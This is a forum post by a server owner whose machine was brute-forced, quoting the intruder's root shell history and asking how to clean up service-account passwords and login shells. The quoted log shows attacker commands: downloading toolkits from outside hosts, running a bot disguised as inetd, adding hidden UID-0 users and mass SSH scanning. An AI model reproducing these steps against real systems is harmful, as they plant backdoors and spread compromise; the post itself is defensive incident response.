Aspegic
Verified User
- Joined
- Aug 4, 2005
- Messages
- 282
My server was scanned by some brute force scanning software and was subsequently hacked. Yeah, I know. It was incredibly stupid of me to have chosen a root password that was so easy to guess.
I have removed all the software I could find that the hacker installed on the server. But I have one question left.
This is part of the command history showing what the hacker did (from /root/.bash_history):
I have removed the users perciuni, coaga and guest, but what I'm concerned about are the 3 lines I marked in red. It appears the hacker may have changed the passwords of the users Majordomo, Apache and Mysql, but there's no way for me to be sure.
Can I just change the passwords of these three users again into something else or will that possibly break majordomo or apache or mysql?
Also, in the /etc/passwd file I see these three lines:
majordomo:x:103:2::/etc/virtual/majordomo:/bin/bash
apache:x:100:500::/var/www:/bin/false
mysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash
Is this correct? Does this mean that the users majordomo, apache and mysql can be used to login as a normal user? Should they not have /sbin/nologin at the end of the line instead of /bin/bash?
I have removed all the software I could find that the hacker installed on the server. But I have one question left.
This is part of the command history showing what the hacker did (from /root/.bash_history):
Code:
cd /tmp
ls
cat /proc/cpuinfo
ls
mkdir .x
cd .x
wget kadilack.org/atac2.tgz
tar -xzvf atac2.tgz
cd .a
ls
cd ..
wget perciuni.3d.net/mech.tar.gz
tar -xzvf mech.tar.gz
cd mech
./inetd
./inetd
ps ax
/usr/sbin/useradd -o -u 0 perciuni
passwd perciun
/usr/sbin/useradd -o -u 0 coaga
passwd coaga
/usr/sbin/useradd -o -u 0 guest
passwd guest
cat /etc/passwd
[B][COLOR=red]passwd majordomo[/COLOR][/B]
[B][COLOR=red]passwd apache[/COLOR][/B]
[B][COLOR=red]passwd mysql[/COLOR][/B]
cd ..
ls
cd .a
ls
wget franckhack.idilis.ro/franck.tgz;tar -xzvf franck.tgz;cd franck;mv pass_file ..;cd ..;rm -rf franck*
ls
wc -l pass_file
./scan 217.159
./scan 217.170
./scan 217.174
exit
cd /tmp/.x
ls
cd mech
./inetd
cat kswap.set
ls
cat kswap.session
ps ax
kill -9 3569
ls
ps ax
ls
rm -rf kswap.session
ls
./inetd
w
cd /tmp/.x/.a
ls
cat vuln.txt
./a 217175
./scan 217.175
w
cd /var/tmp
ls -a
cat /proc/cpuinfo
mkdir .b
rm -rf .b
mkdir .s
cd .s
wget franckhack.idilis.ro/franck.tgz
tar zxvf franck.tgz
cd franck
ls
./scan 216.2
./scan 216.3
./scan 216.4
./scan 64.2
./scan 64.3
ls
cd /tmp/.x
ls
cd .a
ls
cat vuln.txt
./scan 217.174
ls
cat 217.174.pscan.22
ls
./ssh-scan 217.174.pscan.22
./scan 217.174
./scan 217.166
./scan 217.165
./scan 217.164
./scan 217.71
./scan 217.75
psax
I have removed the users perciuni, coaga and guest, but what I'm concerned about are the 3 lines I marked in red. It appears the hacker may have changed the passwords of the users Majordomo, Apache and Mysql, but there's no way for me to be sure.
Can I just change the passwords of these three users again into something else or will that possibly break majordomo or apache or mysql?
Also, in the /etc/passwd file I see these three lines:
majordomo:x:103:2::/etc/virtual/majordomo:/bin/bash
apache:x:100:500::/var/www:/bin/false
mysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash
Is this correct? Does this mean that the users majordomo, apache and mysql can be used to login as a normal user? Should they not have /sbin/nologin at the end of the line instead of /bin/bash?
Last edited: